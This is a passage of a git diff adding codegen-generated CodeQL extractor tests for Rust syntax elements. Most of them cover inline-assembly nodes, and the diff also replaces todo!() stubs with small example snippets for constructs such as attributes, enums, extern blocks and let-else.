generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x, string hasBlockExpr +where + toBeTested(x) and + not x.isUnknown() and + if x.hasBlockExpr() then hasBlockExpr = "yes" else hasBlockExpr = "no" +select x, "hasBlockExpr:", hasBlockExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql new file mode 100644 index 00000000000..910efd74be1 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x +where toBeTested(x) and not x.isUnknown() +select x, x.getBlockExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs new file mode 100644 index 00000000000..a035dbd6d0c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_label() -> () { + // A label in an inline assembly block. + // + // For example: + asm!("jmp {label}", label = sym my_label); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql new file mode 100644 index 00000000000..b7ccc0b5722 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x, string hasInExpr, string hasOutExpr +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasInExpr() then hasInExpr = "yes" else hasInExpr = "no") and + if x.hasOutExpr() then hasOutExpr = "yes" else hasOutExpr = "no" +select x, "hasInExpr:", hasInExpr, "hasOutExpr:", hasOutExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql new file mode 100644 index 00000000000..95aec8cc53d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getInExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql new file mode 100644 index 00000000000..a137533938a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getOutExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs new file mode 100644 index 00000000000..2c4a3dccc74 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_operand_expr() -> () { + // An operand expression in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql new file mode 100644 index 00000000000..7cb204f6b9e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x, string hasAsmOperand, string hasName +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmOperand() then hasAsmOperand = "yes" else hasAsmOperand = "no") and + if x.hasName() then hasName = "yes" else hasName = "no" +select x, "hasAsmOperand:", hasAsmOperand, "hasName:", hasName diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql new file mode 100644 index 00000000000..c3cd36b2ac5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperand() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql new file mode 100644 index 00000000000..a8b856ffaa8 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getName() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs new file mode 100644 index 00000000000..a5d10e3c2ba --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_operand_named() -> () { + // A named operand in an inline assembly block. + // + // For example: + asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + // ^^^^^ ^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql new file mode 100644 index 00000000000..c9e3997ed42 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOption x, string isRaw +where + toBeTested(x) and + not x.isUnknown() and + if x.isRaw() then isRaw = "yes" else isRaw = "no" +select x, "isRaw:", isRaw diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs new file mode 100644 index 00000000000..0035a778967 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_option() -> () { + // An option in an inline assembly block. + // + // For example: + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql new file mode 100644 index 00000000000..77790bb8506 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int getNumberOfAsmOptions +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfAsmOptions = x.getNumberOfAsmOptions() +select x, "getNumberOfAsmOptions:", getNumberOfAsmOptions diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql new file mode 100644 index 00000000000..06f2ba54b6e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getAsmOption(index) diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs new file mode 100644 index 00000000000..93e7117848f --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_options_list() -> () { + // A list of options in an inline assembly block. + // + // For example: + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql new file mode 100644 index 00000000000..05685f3d994 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql @@ -0,0 +1,13 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x, string hasAsmDirSpec, string hasAsmOperandExpr, string hasAsmRegSpec +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmDirSpec() then hasAsmDirSpec = "yes" else hasAsmDirSpec = "no") and + (if x.hasAsmOperandExpr() then hasAsmOperandExpr = "yes" else hasAsmOperandExpr = "no") and + if x.hasAsmRegSpec() then hasAsmRegSpec = "yes" else hasAsmRegSpec = "no" +select x, "hasAsmDirSpec:", hasAsmDirSpec, "hasAsmOperandExpr:", hasAsmOperandExpr, + "hasAsmRegSpec:", hasAsmRegSpec diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql new file mode 100644 index 00000000000..5542617aea6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmDirSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql new file mode 100644 index 00000000000..bcda631ef9d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperandExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql new file mode 100644 index 00000000000..aaf03f13212 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmRegSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs new file mode 100644 index 00000000000..08a7072c6bd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_reg_operand() -> () { + // A register operand in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql new file mode 100644 index 00000000000..5fce70e50f9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x, string hasIdentifier +where + toBeTested(x) and + not x.isUnknown() and + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "hasIdentifier:", hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql new file mode 100644 index 00000000000..3fe54bd3697 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x +where toBeTested(x) and not x.isUnknown() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs new file mode 100644 index 00000000000..f058e35bc69 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_reg_spec() -> () { + // A register specification in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + // ^^^ ^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql new file mode 100644 index 00000000000..e7841f07f68 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x, string hasPath +where + toBeTested(x) and + not x.isUnknown() and + if x.hasPath() then hasPath = "yes" else hasPath = "no" +select x, "hasPath:", hasPath diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql new file mode 100644 index 00000000000..b753181e728 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x +where toBeTested(x) and not x.isUnknown() +select x, x.getPath() diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs new file mode 100644 index 00000000000..ef15dbb9617 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_sym() -> () { + // A symbol operand in an inline assembly block. + // + // For example: + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 9f7bb10a69a..80de1eca878 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_assoc_type_arg() -> () { - // A AssocTypeArg. For example: - todo!() + // An associated type argument in a path. + // + // For example: + ::Item + // ^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs index c028915cabf..a0a42bdf5fe 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs +++ b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_attr() -> () { - // A Attr. For example: - todo!() + // An attribute applied to an item. + // + // For example: + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; } diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index a924e2f6168..2cc5a256201 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_closure_binder() -> () { - // A ClosureBinder. For example: - todo!() + // A closure binder, specifying lifetime or type parameters for a closure. + // + // For example: + for <'a> |x: &'a u32 | x + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs index 32c17ef6c2b..cb343a3b64c 100644 --- a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs +++ b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_const() -> () { - // A Const. For example: - todo!() + // A constant item declaration. + // + // For example: + const X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs index ac9bd5d1551..aab4e0d30d4 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs +++ b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_arg() -> () { - // A ConstArg. For example: - todo!() + // A constant argument in a generic argument list. + // + // For example: + Foo::<3> + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs index c0e3388f3e9..7dd745ddad3 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs +++ b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_param() -> () { - // A ConstParam. For example: - todo!() + // A constant parameter in a generic parameter list. + // + // For example: + struct Foo ; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs index 24d4fec81e4..063b3ac9554 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_dyn_trait_type_repr() -> () { - // A DynTraitTypeRepr. For example: - todo!() + // A dynamic trait object type. + // + // For example: + let x: &dyn Debug; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs index 0711920e4ca..5bb7f774cf0 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs +++ b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_enum() -> () { - // A Enum. For example: - todo!() + // An enum declaration. + // + // For example: + enum E {A, B(i32), C {x: i32}} } diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs index 8ba8ca6532a..9c9b28b98bb 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_extern_block() -> () { - // A ExternBlock. For example: - todo!() + // An extern block containing foreign function declarations. + // + // For example: + extern "C" { + fn foo(); + } } diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs index 88a4a7e0b9d..c077457449a 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_extern_crate() -> () { - // A ExternCrate. For example: - todo!() + // An extern crate declaration. + // + // For example: + extern crate serde; } diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs index 80577fc78fb..efc9a7dc92b 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_extern_item_list() -> () { - // A ExternItemList. For example: - todo!() + // A list of items inside an extern block. + // + // For example: + extern "C" { + fn foo(); + static BAR: i32; + } } diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs index d8c07124d10..a2e33cd0510 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_fn_ptr_type_repr() -> () { - // A FnPtrTypeRepr. For example: - todo!() + // A function pointer type. + // + // For example: + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs index bda4a972556..f87a8ab3fea 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_for_expr() -> () { - // A ForExpr. For example: - todo!() + // A for loop expression. + // + // For example: + for x in 0..10 { + println!("{}", x); + } } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index 5e1c39e49c3..d77f533bb0a 100644 --- a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_for_type_repr() -> () { - // A ForTypeRepr. For example: - todo!() + // A higher-ranked trait bound(HRTB) type. + // + // For example: + for <'a> fn(&'a str) + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs index 41254299a94..717d2e29b87 100644 --- a/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs +++ b/rust/ql/test/extractor-tests/generated/Impl/gen_impl.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_impl() -> () { - // A Impl. For example: - todo!() + // An `impl`` block. + // + // For example: + impl MyTrait for MyType { + fn foo(&self) {} + } } diff --git a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs index 36404a83f84..93fab7930ed 100644 --- a/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ImplTraitTypeRepr/gen_impl_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_impl_trait_type_repr() -> () { - // A ImplTraitTypeRepr. For example: - todo!() + // An `impl Trait` type. + // + // For example: + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs index a1be7a78f21..95e88850579 100644 --- a/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/InferTypeRepr/gen_infer_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_infer_type_repr() -> () { - // A InferTypeRepr. For example: - todo!() + // An inferred type (`_`). + // + // For example: + let x: _ = 42; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs index 5866f8da891..5ef75ba9222 100644 --- a/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ItemList/gen_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_item_list() -> () { - // A ItemList. For example: - todo!() + // A list of items in a module or block. + // + // For example: + mod m { + fn foo() {} + struct S; + } } diff --git a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs index 3bd4a625448..30d9b056cd0 100644 --- a/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs +++ b/rust/ql/test/extractor-tests/generated/LetElse/gen_let_else.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_let_else() -> () { - // A LetElse. For example: - todo!() + // An else block in a let-else statement. + // + // For example: + let Some(x) = opt else { + return; + }; + // ^^^^^^ } diff --git 